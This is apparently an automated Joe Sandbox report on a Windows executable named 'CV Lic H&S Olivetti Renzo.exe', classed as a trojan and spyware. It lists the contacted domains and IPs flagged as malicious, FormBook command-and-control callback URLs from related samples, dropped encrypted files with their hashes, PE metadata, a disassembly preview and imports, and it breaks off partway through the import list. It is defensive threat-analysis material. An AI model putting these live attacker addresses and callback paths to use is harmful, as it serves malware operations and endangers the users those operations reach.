https://help.reg.ru/support/ssl-sertifikaty/1-etap-zakaz-ssl-sertifikata/kak-zakazat-besplatnyy-ssl-	winver.exe, 00000006.00000002.4146215002.0000000006C9C000.00000004.10000000.00040000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	winver.exe, 00000006.00000002.4148412401.0000000008058000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.reg.ru/hosting/?utm_source=www.sklad-iq.online&utm_medium=parking&utm_campaign=s_land_ho	winver.exe, 00000006.00000002.4146215002.0000000006C9C000.00000004.10000000.00040000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	winver.exe, 00000006.00000002.4148412401.0000000008058000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.reg.ru/dedicated/?utm_source=www.sklad-iq.online&utm_medium=parking&utm_campaign=s_land_	winver.exe, 00000006.00000002.4146215002.0000000006C9C000.00000004.10000000.00040000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	winver.exe, 00000006.00000002.4148412401.0000000008058000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.sklad-iq.online	DIRZUznVUfWlad.exe, 00000007.00000002.4147404593.0000000004F39000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.reg.ru/sozdanie-saita/	winver.exe, 00000006.00000002.4146215002.0000000006C9C000.00000004.10000000.00040000.00000000.sdmp	false		high
https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css	winver.exe, 00000006.00000002.4146215002.00000000064C2000.00000004.10000000.00040000.00000000.sdmp, DIRZUznVUfWlad.exe, 00000007.00000002.4145384093.0000000003972000.00000004.00000001.00040000.00000000.sdmp	false		high
http://narman.com/	DIRZUznVUfWlad.exe, 00000007.00000002.4145384093.0000000003E28000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	winver.exe, 00000006.00000002.4148412401.0000000008058000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
203.161.43.228	www.connecty.live	Malaysia	45899	VNPT-AS-VNVNPTCorpVN	true
13.248.169.48	www.tals.xyz	United States	16509	AMAZON-02US	true
104.21.42.77	www.zriaraem-skiry.sbs	United States	13335	CLOUDFLARENETUS	true
103.21.221.87	rtpterbaruwaktu3.xyz	unknown	9905	LINKNET-ID-APLinknetASNID	true
47.76.213.197	www.ytsd88.top	United States	9500	VODAFONE-TRANSIT-ASVodafoneNZLtdNZ	false
154.90.58.209	all.wjscdn.com	Seychelles	40065	CNSERVERSUS	true
8.210.46.21	ymx01.cn	Singapore	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	true
147.255.21.187	www.50food.com	United States	7203	LEASEWEB-USA-SFO-12US	true
76.223.74.74	ssl.goentri.com	United States	16509	AMAZON-02US	true
74.48.143.82	bpgroup.site	Canada	14663	TELUS-3CA	true
172.67.168.228	www.nmgzjwh.net	United States	13335	CLOUDFLARENETUS	true
194.58.112.174	www.sklad-iq.online	Russian Federation	197695	AS-REGRU	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561733
Start date and time:	2024-11-24 08:08:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	CV Lic H&S Olivetti Renzo.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/3@19/12
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 96% Number of executed functions: 54 Number of non-executed functions: 296
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target DIRZUznVUfWlad.exe, PID 5728 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.

Simulations

Behavior and APIs

Time	Type	Description
02:10:11	API Interceptor	9578973x Sleep call for process: winver.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
203.161.43.228	DOC_114542366.vbe	Get hash	malicious	FormBook	Browse	www.connecty.live/q6ws/?KV=2RCZf5GiD+fToLXcMHisxCqwWbc28bp5zmUuGnuHZcsPDzCWfzFSI1Df4pF2LDKbQ3OqnVWPrFqSO4182xFWIWWOBmKrBRiY7XTQRir+3P1LJShw3pPG+Dk=&Wno=a0qDq
	PO2-2401-0016 (TR).exe	Get hash	malicious	FormBook	Browse	www.quilo.life/ftr3/
	PASU5160894680 DOCS.scr.exe	Get hash	malicious	FormBook	Browse	www.lyxor.top/top4/
	Purchase Order TE- 00011-7777.exe	Get hash	malicious	FormBook	Browse	www.quilo.life/ftr3/
	Payment confirmation 20240911.exe	Get hash	malicious	FormBook	Browse	www.quilo.life/ftr3/
	PO 09110124 EXPRESS SYSTEM-SESB24066.exe	Get hash	malicious	FormBook	Browse	www.quilo.life/ftr3/
	Jsn496Em5T.exe	Get hash	malicious	FormBook	Browse	www.virox.top/basq/
	Doc_PO6900000827.exe	Get hash	malicious	FormBook	Browse	www.quilo.life/ftr3/
	PO_20240906011824.exe	Get hash	malicious	FormBook	Browse	www.quilo.life/ftr3/
	6i4QCFbsNi.exe	Get hash	malicious	FormBook	Browse	www.virox.top/basq/
13.248.169.48	Mandatory Notice for all December Leave and Vacation application.exe	Get hash	malicious	FormBook	Browse	www.tals.xyz/stx5/
	Thermo Fisher Scientific - Aj#U00e1nlatk#U00e9r#U00e9s.exe	Get hash	malicious	FormBook	Browse	www.tals.xyz/k1td/
	DOC_114542366.vbe	Get hash	malicious	FormBook	Browse	www.aiactor.xyz/x4ne/?KV=IjUvc9W1zDiNc9PqfXKx1TS0r6LahxQTMxD+2/9txvMkLHbQHvhCPVSp7yYBhZqVsANcjuLc38irD20I6v8c1v1ytT+DEei/9odakMDFYuDWzKGl/p+Lmpo=&Wno=a0qDq
	CV_ Filipa Barbosa.exe	Get hash	malicious	FormBook	Browse	www.remedies.pro/hrap/
	SWIFT COPY 0028_pdf.exe	Get hash	malicious	FormBook	Browse	www.optimismbank.xyz/lnyv/
	New Order - RCII900718_Contract Drafting.exe	Get hash	malicious	FormBook	Browse	www.avalanchefi.xyz/ctta/
	need quotations.exe	Get hash	malicious	FormBook	Browse	www.egldfi.xyz/3e55/
	Quotation request -30112024_pdf.exe	Get hash	malicious	FormBook	Browse	www.tals.xyz/010v/
	Arrival Notice.exe	Get hash	malicious	FormBook	Browse	www.wajf.net/dkz5/
	rG5EzfUhUp.exe	Get hash	malicious	Sakula RAT	Browse	www.polarroute.com/newimage.asp?imageid=zcddwc1730788541&type=0&resid=5322796

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.supernutra01.online	Project Breakdown Doc.exe	Get hash	malicious	FormBook	Browse	172.67.220.36
www.supernutra01.online	DOC_114542366.vbe	Get hash	malicious	FormBook	Browse	172.67.220.36
www.sklad-iq.online	Item-RQF-9456786.exe	Get hash	malicious	Unknown	Browse	194.58.112.174
www.connecty.live	DOC_114542366.vbe	Get hash	malicious	FormBook	Browse	203.161.43.228
www.ytsd88.top	PO #2411071822.exe	Get hash	malicious	FormBook	Browse	47.76.213.197
	Quotation.exe	Get hash	malicious	FormBook	Browse	47.76.213.197
	payments.exe	Get hash	malicious	FormBook	Browse	47.76.213.197
	Quotation request -30112024_pdf.exe	Get hash	malicious	FormBook	Browse	47.76.213.197
ssl.goentri.com	SWIFT COPY 0028_pdf.exe	Get hash	malicious	FormBook	Browse	76.223.74.74
ssl.goentri.com	Item-RQF-9456786.exe	Get hash	malicious	Unknown	Browse	76.223.74.74
www.tals.xyz	Mandatory Notice for all December Leave and Vacation application.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	Thermo Fisher Scientific - Aj#U00e1nlatk#U00e9r#U00e9s.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	Quotation request -30112024_pdf.exe	Get hash	malicious	FormBook	Browse	13.248.169.48

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
VNPT-AS-VNVNPTCorpVN	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	14.249.184.119
	sparc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	123.28.58.156
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	14.188.157.232
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	113.164.17.185
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	14.249.184.121
	m68k.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	113.163.190.100
	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	14.172.55.92
	sora.arm.elf	Get hash	malicious	Mirai	Browse	113.189.219.236
	sora.m68k.elf	Get hash	malicious	Mirai	Browse	123.31.16.51
	sora.x86.elf	Get hash	malicious	Mirai	Browse	113.181.189.118
AMAZON-02US	arm7.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	3.122.148.244
	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	13.223.155.145
	sparc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	18.243.54.8
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	15.206.178.249
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	3.99.230.17
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	3.167.69.129
	arm7.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	35.74.17.116
	sparc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	54.126.105.86
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	44.226.3.74
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	108.144.192.115
CLOUDFLARENETUS	TAX INVOICE.exe	Get hash	malicious	FormBook	Browse	104.21.76.162
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, JasonRAT, LummaC Stealer, Stealc, Vidar	Browse	104.21.74.61
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC	Browse	172.67.160.80
	WC10SCPMaX.exe	Get hash	malicious	Azorult, GuLoader	Browse	172.67.165.138
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	Amadey	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3

Process:	C:\Windows\SysWOW64\winver.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Laddonia

Download File

Process:	C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe
File Type:	data
Category:	dropped
Size (bytes):	288256
Entropy (8bit):	7.9954672308297035
Encrypted:	true
SSDEEP:	6144:4mRIJ4vP9faroXFTqDqrorz+8ajTlpIwgPojRFVac:gJIBarzkOz+/flpIwgg9
MD5:	6190EBFC69C7BFB944DD2C9C4E04B14D
SHA1:	C9B487C55555F0784FB0F792BF2CB34B357D109E
SHA-256:	4569A96FAE14B683AA7084C0AFF8BED984331EF55E5AD914E014B7A3DC2198DF
SHA-512:	0913A26147EE597E29B845ACE90AEDC1A68C9FCE4F42F35F9446DB2A6B6B49576F2621334519DFA526561881D82088E1D76CBCF49616D31E909E63365D077605
Malicious:	false
Reputation:	low
Preview:	.c.GYGQ40JJH..OS.B2OTAPR.K0QLS9QGZGQ44JJHI9OSVB2OTAPRKK0QLS9.GZG_+.DJ.@.n.W..n.)9!k;B>+!X<g9&?Z[>j,.=&8b[!t...k&_5)}4\M~GQ44JJH08F.k"U.i!7.v+W.V...}: ....t)^.I...s4&.."(Xl,4.QGZGQ44J..I9.RWBN...PRKK0QLS.QE[LP?4J.LI9OSVB2OTqERKK QLSIUGZG.44ZJHI;OSPB2OTAPRMK0QLS9QGCQ46JJHI9OQV..OTQPR[K0QLC9QWZGQ44JZHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9OSVB2OTAPRKK.%)+MQGZ..04JZHI9.WVB"OTAPRKK0QLS9QGzGQT4JJHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9

C:\Users\user\AppData\Local\Temp\autE216.tmp

Download File

Process:	C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe
File Type:	data
Category:	dropped
Size (bytes):	288256
Entropy (8bit):	7.9954672308297035
Encrypted:	true
SSDEEP:	6144:4mRIJ4vP9faroXFTqDqrorz+8ajTlpIwgPojRFVac:gJIBarzkOz+/flpIwgg9
MD5:	6190EBFC69C7BFB944DD2C9C4E04B14D
SHA1:	C9B487C55555F0784FB0F792BF2CB34B357D109E
SHA-256:	4569A96FAE14B683AA7084C0AFF8BED984331EF55E5AD914E014B7A3DC2198DF
SHA-512:	0913A26147EE597E29B845ACE90AEDC1A68C9FCE4F42F35F9446DB2A6B6B49576F2621334519DFA526561881D82088E1D76CBCF49616D31E909E63365D077605
Malicious:	false
Reputation:	low
Preview:	.c.GYGQ40JJH..OS.B2OTAPR.K0QLS9QGZGQ44JJHI9OSVB2OTAPRKK0QLS9.GZG_+.DJ.@.n.W..n.)9!k;B>+!X<g9&?Z[>j,.=&8b[!t...k&_5)}4\M~GQ44JJH08F.k"U.i!7.v+W.V...}: ....t)^.I...s4&.."(Xl,4.QGZGQ44J..I9.RWBN...PRKK0QLS.QE[LP?4J.LI9OSVB2OTqERKK QLSIUGZG.44ZJHI;OSPB2OTAPRMK0QLS9QGCQ46JJHI9OQV..OTQPR[K0QLC9QWZGQ44JZHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9OSVB2OTAPRKK.%)+MQGZ..04JZHI9.WVB"OTAPRKK0QLS9QGzGQT4JJHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9OSVB2OTAPRKK0QLS9QGZGQ44JJHI9

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.139764677509903
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	CV Lic H&S Olivetti Renzo.exe
File size:	1'207'808 bytes
MD5:	dffcfc55dbe3596498888c48f569adcd
SHA1:	0a75b7cdb8ded9722a7f2188777793c6c62a178b
SHA256:	1dae087c41578f5a3a6ed11bbe54efa045598e2bdccf54db0315bbbe36fc1956
SHA512:	a8932db72aa417c32c482fea159b0151cc2c15fe22e11977d755b829523400431018569cfe6f1ef949a235842d6d4edf3e8a5433b1c8601edc2e50f8056c18eb
SSDEEP:	24576:Ztb20pkaCqT5TBWgNQ7aQ08vv9tUKJWpY9rcn6A:qVg5tQ7aQ0Oexpii5
TLSH:	4745CF2373DD8360C3B25273BA65B711BEBF782506A1F86B2FD4093DE920122561E673
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........d..............'.a.....H.k.....H.h.....H.i......}%......}5...............~.......k.......o.......1.......j.....Rich...........

File Icon


Icon Hash:	aaf3e3e3938382a0

Static PE Info

General

Entrypoint:	0x425f74
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x673F65C1 [Thu Nov 21 16:54:25 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	3d95adbf13bbe79dc24dccb401c12091

Entrypoint Preview

Instruction
call 00007F25C45242AFh
jmp 00007F25C45172C4h
int3
int3
push edi
push esi
mov esi, dword ptr [esp+10h]
mov ecx, dword ptr [esp+14h]
mov edi, dword ptr [esp+0Ch]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007F25C451744Ah
cmp edi, eax
jc 00007F25C45177AEh
bt dword ptr [004C0158h], 01h
jnc 00007F25C4517449h
rep movsb
jmp 00007F25C451775Ch
cmp ecx, 00000080h
jc 00007F25C4517614h
mov eax, edi
xor eax, esi
test eax, 0000000Fh
jne 00007F25C4517450h
bt dword ptr [004BA370h], 01h
jc 00007F25C4517920h
bt dword ptr [004C0158h], 00000000h
jnc 00007F25C45175EDh
test edi, 00000003h
jne 00007F25C45175FEh
test esi, 00000003h
jne 00007F25C45175DDh
bt edi, 02h
jnc 00007F25C451744Fh
mov eax, dword ptr [esi]
sub ecx, 04h
lea esi, dword ptr [esi+04h]
mov dword ptr [edi], eax
lea edi, dword ptr [edi+04h]
bt edi, 03h
jnc 00007F25C4517453h
movq xmm1, qword ptr [esi]
sub ecx, 08h
lea esi, dword ptr [esi+08h]
movq qword ptr [edi], xmm1
lea edi, dword ptr [edi+08h]
test esi, 00000007h
je 00007F25C45174A5h
bt esi, 03h
jnc 00007F25C45174F8h
movdqa xmm1, dqword ptr [esi+00h]

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2012 UPD4 build 61030
[RES] VS2012 UPD4 build 61030
[LNK] VS2012 UPD4 build 61030

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xb7004	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc4000	0x5dc70	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x122000	0x6c4c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x8d8d0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xb2730	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8d000	0x860	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8b54f	0x8b600	f437a6545e938612764dbb0a314376fc	False	0.5699499019058296	data	6.680413749210956	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8d000	0x2cc42	0x2ce00	827ffd24759e8e420890ecf164be989e	False	0.330464397632312	data	5.770192333189168	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xba000	0x9d54	0x6200	e0a519f8e3a35fae0d9c2cfd5a4bacfc	False	0.16402264030612246	data	2.002691099965349	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xc4000	0x5dc70	0x5de00	7a99ade470f8c91b109d9a5368318935	False	0.9296640937083888	data	7.898929417249416	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x122000	0xa474	0xa600	0bc98f8631ef0bde830a7f83bb06ff08	False	0.5017884036144579	data	5.245426654116355	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xc45a8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xc46d0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xc47f8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xc4920	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	English	Great Britain	0.3333333333333333
RT_ICON	0xc4c08	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	English	Great Britain	0.5
RT_ICON	0xc4d30	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	Great Britain	0.2835820895522388
RT_ICON	0xc5bd8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	Great Britain	0.37906137184115524
RT_ICON	0xc6480	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	Great Britain	0.23699421965317918
RT_ICON	0xc69e8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	Great Britain	0.13858921161825727
RT_ICON	0xc8f90	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	Great Britain	0.25070356472795496
RT_ICON	0xca038	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	Great Britain	0.3173758865248227
RT_MENU	0xca4a0	0x50	data	English	Great Britain	0.9
RT_STRING	0xca4f0	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0xcaa84	0x68a	data	English	Great Britain	0.2747909199522103
RT_STRING	0xcb110	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0xcb5a0	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xcbb9c	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xcc1f8	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0xcc660	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0xcc7b8	0x54f77	data			1.000333311304138
RT_GROUP_ICON	0x121730	0x76	data	English	Great Britain	0.6610169491525424
RT_GROUP_ICON	0x1217a8	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0x1217bc	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0x1217d0	0x14	data	English	Great Britain	1.25
RT_VERSION	0x1217e4	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0x1218c0	0x3b0	ASCII text, with CRLF line terminators	English	Great Britain	0.5116525423728814

Imports

DLL	Import
WSOCK32.dll	__WSAFDIsSet, recv, send, setsockopt, ntohs, recvfrom, select, WSAStartup, htons, accept, listen, bind, closesocket, connect, WSACleanup, ioctlsocket, sendto, WSAGetLastError, inet_addr, gethostbyname, gethostname, socket
VERSION.dll	GetFileVersionInfoW, VerQueryValueW, GetFileVersionInfoSizeW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_Create, InitCommonControlsEx, ImageList_ReplaceIcon
MPR.dll	WNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
WININET.dll	InternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetConnectW, InternetQueryDataAvailable
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
USERENV.dll	UnloadUserProfile, DestroyEnvironmentBlock, CreateEnvironmentBlock, LoadUserProfileW
UxTheme.dll	IsThemeActive
KERNEL32.dll	HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, GetLongPathNameW, GetCurrentThread, FindNextFileW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, DeleteCriticalSection, WaitForSingleObject, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, 